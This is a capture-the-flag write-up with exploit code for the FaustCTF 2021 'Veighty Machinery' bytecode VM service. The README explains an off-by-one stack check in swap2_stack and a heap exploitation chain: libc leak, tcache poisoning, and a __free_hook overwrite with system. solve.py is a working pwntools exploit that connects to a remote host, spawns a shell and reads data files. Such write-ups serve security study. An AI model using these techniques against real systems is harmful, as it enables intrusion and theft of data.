Faust CTF veighty machinery writeup

Author: VoidMercy

2021/faustctf-2021/veighty-machinery/README.md

@@ -0,0 +1,108 @@
+# Veighty Machinery
+
+This service is a bytecode runner.
+
+```
+Go program your
+                  __
+                 /  \
+           .-.  |    |
+   *    _.-'  \  \__/
+    \.-'       \
+   /          _/
+  |      _  /"
+  |     /_\'
+   \    \_/
+    """"
+Give me your bytecode!
+I will load the cannon and execute it.
+```
+
+## Reverse Engineering
+
+After reverse engineering the service, we find that the bytecode language is a stack-based machine with immediates and strings. The vm_context structure used by the service is shown below:
+
+```C
+struct vm_context
+{
+  __int64 _ip;
+  __int64 _sp;
+  __int64 stack[0x1000];
+  char code[0x1000];
+  int flags;
+  int code_length;
+};
+```
+
+There are 0x20 opcodes in the language. These are:
+
+```
+nop
+push_mem
+pop_mem
+push_input
+add2_stack
+sub2_stack
+multiply_stack
+divide2_stack
+modulus2_stack
+snprintf_imm
+branch
+cmp_geq
+cmp_leq
+cmp_neq
+branch_zero
+branch_notzero
+inc
+dec
+multiple_by_2
+rshift_1
+duplicate_top_stack
+swap2_stack
+alloc_buf_push_ptr_stack
+free_buffer
+fgets_malloc_push_ptr_stack
+concat_strings
+free_push_length
+atoi_free_stack
+do_strcmp
+strstr_stack
+fopen_write_stack
+fread_malloc_stack
+```
+
+## Vulnerability Searching
+
+Both string pointers and immediates are stored on the stack. However, pointers are tagged with (1 << 63) to differentiate them from immediates, and every opcode correctly checks whether the operation is acting upon immediates or pointers. I could not find a type confusion vulnerability here.
+
+The vulnerability I found (and the intended one) is in swap2_stack. This opcode swaps the topmost two values on the stack, regardless of whether it's an immediate or pointer. However, it fails to check that there are two or more values on the stack - it only checks that there are 1 or more values. This vulnerability allows us to swap the top-most stack value with the stack pointer, which is right before the stack.
+
+## Exploitation
+
+Using the vulnerability, we can point the stack anywhere relative to the vm_context struct, which exists on the heap. Additionally, the opcodes do not check that the stack pointer points out of range (> 0x1000), but instead checks equivalence to 0x1000. This allows us to use all opcodes even when the stack pointer is out of range. With the push and pop operations, we effectively get arbitrary read and write on the heap.
+
+We can leak a libc pointer through large bins or unsorted bins, and obtain arbitrary write by overwriting tcache freelist FD. I set up the following chunk structure:
+
+```
+========================== 
+vm_context
+========================== 
+A - 0x10 sized chunk
+========================== 
+B - 0x500 sized chunk
+========================== 
+C - 0x10 sized chunk
+==========================
+Top
+==========================
+```
+
+By freeing A, B, and C then pointing the stack pointer to B using the vulnerability, we can use the pop operation and get a libc leak.
+
+Then, we can continue pop-ing the stack pointer until it reaches the freelist FD pointer of chunk A. We then use the push operation to push the address of `__free_hook` onto the tcache freelist.
+
+We then allocate twice from tcache's 0x10 bin, and get a chunk over `__free_hook`.
+
+Actually if we write to `__free_hook - 0x8`, and write the data "/bin/sh;" + p64(system), we can free the chunk that was just allocated and get a shell immediately.
+
+The exploit is in `solve.py`

2021/faustctf-2021/veighty-machinery/solve.py

@@ -0,0 +1,98 @@
+from pwn import *
+import sys
+
+tosend = []
+global code
+code = ""
+
+def push_stack(data):
+    global code
+    while len(data) % 8 != 0:
+        data += "\x00"
+    for i in range(0, len(data), 8):
+        code += chr(3)
+        tosend.append(data[i:i+8])
+
+def alloc(data):
+  global code
+  code += chr(24)
+  tosend.append(data + "\n")
+
+def dup():
+  global code
+  code += chr(20)
+
+def free():
+  global code
+  code += chr(23)
+
+def pop():
+    global code
+    code += chr(2)
+
+def add2():
+    global code
+    code += chr(4)
+
+def swap2():
+    global code
+    code += chr(21)
+
+#r = process(["ltrace", "./veighty-machinery"])
+#r = process("./veighty-machinery")
+# r = remote("fd66:666:1::2", 7777)
+r = remote(sys.argv[1], sys.argv[2])
+
+alloc("C"*0x10)
+alloc("A"*0x500)
+alloc("B"*0x10)
+free()
+free()
+free()
+push_stack(p64(0x9040/8))
+swap2()
+pop() # leak
+
+pop()
+pop()
+pop()
+pop()
+pop()
+
+push_stack(p64(0x4242424242424242)) # freehook
+
+pop()
+pop()
+pop()
+pop()
+pop()
+
+alloc("/bin/sh\x00"*0x2)
+alloc(p64(0x4343434343434343))
+
+free()
+
+code += chr(33)
+r.recvuntil("Length:")
+r.sendline(str(len(code)))
+r.recvuntil("Bytecode:")
+r.send(code)
+
+r.sendline("C"*0x10)
+r.sendline("A"*0x500)
+r.sendline("B"*0x10)
+r.send(p64(0x9040/8))
+print(r.recvuntil("0x"))
+leak = int(r.recvline(), 16)
+print("LEAK", hex(leak))
+base = leak - 0x1bebe0
+freehook = base + 0x1c1e70
+r.send(p64(freehook-0x8))
+
+r.sendline("D"*0x10)
+#r.sendline("/bin/sh;" + p64(base + 0x55410))
+r.sendline("/bin/sh;" + p64(base + 0x48e50))
+
+r.sendline("cat data/*")
+
+r.interactive()